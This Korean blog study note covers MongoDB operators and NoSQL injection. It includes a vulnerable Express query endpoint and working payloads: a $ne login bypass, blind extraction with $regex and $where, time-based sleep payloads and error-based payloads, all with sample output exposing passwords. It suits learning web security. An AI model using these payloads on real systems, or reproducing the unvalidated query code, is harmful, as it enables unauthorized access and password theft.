- 비관계형 데이터베이스(NoSQL): SQL을 사용해 데이터를 조회/추가/삭제하는 관계형 데이터베이스(RDBMS)와 달리 SQL을 사용하지 않으며, 이에 따라 RDBMS와는 달리 복잡하지 않은 데이터를 다루는 것이 큰 특징이자 RDBMS와의 차이점
MongoDB 특징
- 스키마를 따로 정의하지 않아 각 컬렉션(Collection)에 대한 정의가 필요 없다
- JSONP 형식으로 쿼리를 작성할 수 있다
- _id 필드가 Primart Key 역할을 한다
MongoDB 연산자
Name | Desciption |
$eq | 지정된 값과 같은 값을 찾습니다. (equal) |
$in | 배열 안의 값들과 일치하는 값을 찾습니다. (in) |
$ne | 지정된 값과 같지 않은 값을 찾습니다. (not equal) |
$nin | 배열 안의 값들과 일치하지 않는 값을 찾습니다. (not in) |
Name | Description |
$and | 논리적 AND, 각각의 쿼리를 모두 만족하는 문서가 반환됩니다. |
$not | 쿼리 식의 효과를 반전시킵니다. 쿼리 식과 일치하지 않는 문서를 반환합니다. |
$nor | 논리적 NOR, 각각의 쿼리를 모두 만족하지 않는 문서가 반환됩니다. |
$or | 논리적 OR, 각각의 쿼리 중 하나 이상 만족하는 문서가 반환됩니다. |
Name | Description |
$exists | 지정된 필드가 있는 문서를 찾습니다. |
$type | 지정된 필드가 지정된 유형인 문서를 선택합니다. |
Name | Discription |
$expr | 쿼리 언어 내에서 집계 식을 사용할 수 있습니다. |
$regex | 지정된 정규식과 일치하는 문서를 선택합니다. |
$text | 지정된 텍스트를 검색합니다. |
MongoDB 문법
SELECT
SELECT user_idx FROM account WHERE user_id="admin";
↕
db.account.find(
{ user_id: "admin" },
{ user_idx:1, _id:0 }
)
INSERT
INSERT INTO account(user_id,user_pw,) VALUES ("guest", "guest");
↕
db.account.insertOne(
{ user_id: "guest",user_pw: "guest" }
)
UPDATE
UPDATE account SET user_id="guest2" WHERE user_idx=2;
↕
db.account.updateOne(
{ user_idx: 2 },
{ $set: { user_id: "guest2" } }
)
NoSQL 인젝션
MongoDB는 오브젝트, 배열 타입을 사용할 수 있다.
오브젝트 타입의 입력값을 처리할 때에는 쿼리 연산자를 사용할 수 있는데, 이를 통해 다양한 행위가 가능하다.
아래 코드는 user 컬렉션에서 이용자가 입력한 uid와 upw 에 해당하는 데이터를 찾고, 출력하고 있다.
이용자의 입력값에 대해 타입을 검증하지 않기 때문에 오브젝트 타입의 값을 입력할 수 있다.
const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
db.collection('user').find({
'uid': req.query.uid,
'upw': req.query.upw
}).toArray(function(err, result) {
if (err) throw err;
res.send(result);
});
});
const server = app.listen(3000, function(){
console.log('app.listen');
});
오브젝트 타입의 값을 입력할 수 있다면, 연산자를 사용할 수 있다.
$ne (not equal) 연산자로, 입력한 데이터와 일치하지 않는 데이터를 반환한다.
http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]
$ne 연산자를 사용해 uid와 upw가 "a"가 아닌 데이터를 조회하는 공격 쿼리와 실행 결과
Blind NoSQL 인젝션
MongoDB에서는 $regex, $where 연산자를 사용해 Blind NoSQL Injection을 할 수 있다.
Name | Description |
$expr | 쿼리 언어 내에서 집계 식을 사용할 수 있습니다. |
$regex | 지정된 정규식과 일치하는 문서를 선택합니다. |
$text | 지정된 텍스트를 검색합니다. |
$where | JavaScript 표현식을 만족하는 문서와 일치합니다. |
$regex
정규식을 사용해 식과 일치하는 데이터를 조회한다.
upw에서 각 문자로 시작하는 데이터를 조회하는 쿼리의 예시다.
> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
$where
표현식
인자로 전달한 Javascript 표현식을 만족하는 데이터를 조회한다. (필터링)
아래에서 $where 연산자는 전체 문서 수준에서만 사용할 수 있으며, 특정 필드에 적용될 수 없다는 것을 확인할 수 있다.
> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({uid:{$where:"return 1==1"}})
error: {
"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
"code" : 17287
}
substring
$where 연산자로 Javascript 표현식을 입력하면, Blind SQL injection에서 한 글자씩 비교했던 것과 같이 데이터를 추출할 수 있다.
아래는 upw의 첫 글자를 비교해 데이터를 추출하는 쿼리다.
> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
Time based Injection
MongoDB는 sleep 함수를 제공한다.
표현식과 함께 사용하면 지연 시간을 통해 참/거짓 결과를 확인할 수 있다.
아래는 upw의 첫 글자를 비교하고, 해당 표현식이 참을 반환할 때 sleep 함수를 실행하는 쿼리다.
db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/* req.query.uid, req.query.upw 에 들어가는 js 코드들
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1 <-참이면 5초 지연
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/
Error based Injection
올바르지 않은 문법을 입력해 고의로 에러를 발생시킨다.
아래에서 upw의 첫 글자가 'g'인 경우 (참인 경우) 올바르지 않은 문법인 asdf를 실행하면서 에러가 발생한다.
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음
예제
$ne 연산자를 이용하여 upw값에 상관없이 uid가 "admin"인 데이터를 조회
$regex 연산자를 사용해서 Blind NoSQL Injection 공격
정규 표현식 .{5} 를 입력해서 비밀번호 길이가 5인 것을 확인
$regex 연산자와 정규표현식으로 비밀번호 문자열도 알아낼 수 있다.
'웹 해킹 > 학습' 카테고리의 다른 글
[웹해킹] Client Side Template Injection (CSTI) (2) | 2024.09.06 |
---|---|
[웹해킹] Command Injection 우회 (0) | 2024.09.04 |
[웹해킹] CORS 취약점 (postMessage, JSONP) (0) | 2024.09.03 |
[웹해킹] CSP 우회 (XSS) (1) | 2024.09.02 |
[웹해킹] 콘텐츠 보안 정책 (CSP) (0) | 2024.08.30 |